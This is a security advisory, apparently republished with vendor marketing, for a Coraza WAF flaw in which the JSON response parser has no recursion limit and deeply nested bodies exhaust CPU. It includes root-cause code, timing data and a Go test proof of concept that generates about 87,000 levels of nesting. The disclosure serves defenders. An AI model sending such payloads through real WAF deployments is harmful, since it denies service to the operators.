Summary
Coraza: Unbounded recursion in JSON response body processor causes CPU exhaustion
The JSON response body processor parses response bodies with no recursion
limit. ProcessResponse calls readJSON(ss, ignoreJSONRecursionLimit), and
that constant is -1. The guard in readItems only fires on == 0, so
counting down from -1 (-2, -3, ...) never reaches it. The guard is effectively
dead on the response path. The request path is fine: ProcessRequest passes the
configured limit (default 1024). There is no equivalent directive or default for
responses.
Parsing a deeply nested JSON response is CPU-bound and its cost grows
quadratically with nesting depth. A 512 KiB response (the defaultResponseBodyLimit) holds about 87,000 nesting levels and takes ~12 s to
process, keeping one core busy the whole time.
Root cause
internal/bodyprocessors/json.go
const ignoreJSONRecursionLimit = -1 // line 51
func (js *jsonBodyProcessor) ProcessResponse(reader io.Reader, v ..., _ plugintypes.BodyProcessorOptions) error {
...
data, err := readJSON(ss, ignoreJSONRecursionLimit) // line 62, passes -1
}
func (js *jsonBodyProcessor) ProcessRequest(...) error {
...
data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // line 32, default 1024
}
The guard and the decrement:
func readItems(json gjson.Result, objKey []byte, maxRecursion int, res map[string]string) error {
if maxRecursion == 0 { // line 106
return errors.New("max recursion reached while reading json object")
}
...
iterationError = readItems(value, objKey, maxRecursion-1, res) // line 126
Note that ProcessResponse discards BodyProcessorOptions (the parameter is_), so even a caller that wanted to set a limit on responses has no way to.
Why the cost is quadratic
Every nesting level re-parses the remaining nested document throughgjson.ForEach, so total work is O(n²) in the depth. Numbers below were measured
on an Intel Core Ultra 7 255H, Go 1.22.2, gjson v1.18.0, at commit db9850b2
(v3.7.0-55):
depth bytes ProcessResponse time
5000 30004 30 ms
10000 60004 119 ms
20000 120004 456 ms
40000 240004 2.18 s
87381 524290 12.09 s
Log-log slope between adjacent rows lands between 1.93 and 2.26 (2.09 across the
full range), which matches quadratic. Roughly 87,000 levels is the most that
fits inside the default 512 KiB ResponseBodyLimit.
PoC
Save as internal/bodyprocessors/poc_json_test.go, then:
go test -v -timeout 120s -run TestPoCJSONResponse ./internal/bodyprocessors/...
package bodyprocessors_test
import (
"strings"
"testing"
"time"
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
"github.com/corazawaf/coraza/v3/internal/bodyprocessors"
"github.com/corazawaf/coraza/v3/internal/corazawaf"
)
func nestedJSON(depth int) string {
var sb strings.Builder
sb.Grow(depth*6 + 4)
for i := 0; i < depth; i++ {
sb.WriteString(`{"a":`)
}
sb.WriteString("null")
for i := 0; i < depth; i++ {
sb.WriteByte('}')
}
return sb.String()
}
func TestPoCJSONResponse(t *testing.T) {
proc, _ := bodyprocessors.GetBodyProcessor("json")
// Request path is bounded, response path is not.
body := nestedJSON(5000)
v := corazawaf.NewTransactionVariables()
errReq := proc.ProcessRequest(strings.NewReader(body), v,
plugintypes.BodyProcessorOptions{RequestBodyRecursionLimit: 1024})
errRes := proc.ProcessResponse(strings.NewReader(body), v,
plugintypes.BodyProcessorOptions{})
t.Logf("depth=5000 ProcessRequest err=%v", errReq)
t.Logf("depth=5000 ProcessResponse err=%v", errRes)
// Quadratic scaling on the response path.
for _, depth := range []int{5000, 10000, 20000, 40000, 87381} {
b := nestedJSON(depth)
vv := corazawaf.NewTransactionVariables()
start := time.Now()
proc.ProcessResponse(strings.NewReader(b), vv,
plugintypes.BodyProcessorOptions{})
t.Logf("depth=%-6d bytes=%-7d time=%v", depth, len(b), time.Since(start))
}
}
Output on the reference machine:
depth=5000 ProcessRequest err=max recursion reached while reading json object
depth=5000 ProcessResponse err=<nil>
depth=5000 bytes=30004 time=30.3ms
depth=10000 bytes=60004 time=119.3ms
depth=20000 bytes=120004 time=456.1ms
depth=40000 bytes=240004 time=2.185s
depth=87381 bytes=524290 time=12.085s
Impact
This needs ResponseBodyAccess turned on and a backend that returns JSON
(application/json). Reflection endpoints, download APIs that serve
user-supplied content, and JSON error responses that echo back user input are
all plausible ways to route a nested body back through the WAF.
The work happens in a single goroutine and is CPU-bound: the body is already in
memory, so there is no I/O during the parse. Each such request holds one core
for its entire run, about 12 s per 512 KiB body at the default limit. N
concurrent requests take N cores. The request path has enforced a recursion
limit since v3.3.3; responses never have.
CVE-2026-107833 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.8.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Bound ProcessResponse the same way the request path is bounded: add aResponseBodyRecursionLimit directive, or just pass RequestBodyRecursionLimit
instead of -1.
Frequently Asked Questions
- What is CVE-2026-107833? CVE-2026-107833 is a medium-severity security vulnerability in github.com/corazawaf/coraza/v3 (go), affecting versions >= 3.0.0, < 3.8.0. It is fixed in 3.8.0.
- How severe is CVE-2026-107833? CVE-2026-107833 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/corazawaf/coraza/v3 are affected by CVE-2026-107833? github.com/corazawaf/coraza/v3 (go) versions >= 3.0.0, < 3.8.0 is affected.
- Is there a fix for CVE-2026-107833? Yes. CVE-2026-107833 is fixed in 3.8.0. Upgrade to this version or later.
- Is CVE-2026-107833 exploitable, and should I be worried? Whether CVE-2026-107833 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-107833 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-107833? Upgrade
github.com/corazawaf/coraza/v3to 3.8.0 or later.